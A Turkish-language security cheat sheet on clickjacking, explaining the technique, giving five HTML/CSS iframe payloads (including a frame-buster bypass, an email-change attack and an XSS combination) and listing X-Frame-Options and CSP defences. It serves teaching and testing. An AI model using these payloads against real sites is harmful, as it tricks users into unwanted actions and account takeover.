Clickjacking
Clickjacking Nedir?
Clickjacking, kullanıcıyı kandırarak istemeden bir işlemi gerçekleştirmesini sağlayan bir tür güvenlik zafiyetidir. Bu saldırıda, bir web sayfası, şeffaf ya da görünmeyen bir katmanla başka bir içerikle örtülür ve kullanıcı bu sayfanın görünen kısmındaki bir butona ya da bağlantıya tıkladığını sanırken aslında saldırganın kontrolündeki başka bir işlemi başlatır.
Örneğin, bir kullanıcı “Beğen” butonuna tıkladığını zannederken, gerçekte saldırganın belirlediği bir işlemi, örneğin sosyal medya hesabında yetkisiz bir paylaşımı, tetikleyebilir. Bu teknik genellikle iframe kullanılarak uygulanır.

Saldırı Yöntemleri
Basit Clickjacking
<style>
iframe {
position:relative;
width:500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://example.com/my-account"></iframe>
URL Parametresi ile Clickjacking
<style>
iframe {
position:relative;
width:500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://example.com/my-account?email=attacker@gmail.com"></iframe>
FrameBuster Bypass
<style>
iframe {
position:relative;
width:500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe sandbox="allow-forms" src="https://example.com/my-account?email=attacker@gmail.com"></iframe>
Clickjacking ile DOM XSS
<style>
iframe {
position:relative;
width:500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://example.com/feedback?name=<img src=x onerror=alert(1)>&email=attacker@gmail.com&subject=test&message=test#feedbackResult"></iframe>
Multistep Clickjacking
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
top:330px;
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://example.net/my-account"></iframe>
Önlemler
X-Frame
X-Frame-Options başlığı, web sitesi sahibine iframe'lerin veya nesnelerin kullanımı üzerinde kontrol sağlar, böylece bir web sayfasının bir çerçeve içine dahil edilmesi deny yönergesi ile yasaklanabilir.
X-Frame-Options: deny
Alternatif olarak çerçeveleme, sameorigin yönergesi kullanılarak web sitesiyle aynı kaynakla sınırlandırılabilir.
X-Frame-Options: sameorigin
Veya allow-from yönergesini kullanarak bir web sitesi ile sınırlandırabilirsiniz.
X-Frame-Options: allow-from https://example.com
CSP
Content Security Policy (CSP), XSS ve clickjacking gibi saldırılara karşı koruma sağlayan bir tespit ve önleme mekanizmasıdır. CSP genellikle web sunucusunda formun bir dönüş başlığı olarak uygulanır.
Content-Security-Policy: frame-ancestors 'none';
Content-Security-Policy: frame-ancestors 'self';
Content-Security-Policy: frame-ancestors normal-website.com;
Araçlar
Burp Clickbandit

Clickjacker
Link: https://clickjacker.io/
Kaynaklar
Portswigger Academy: https://portswigger.net/web-security/clickjacking
Last updated
Was this helpful?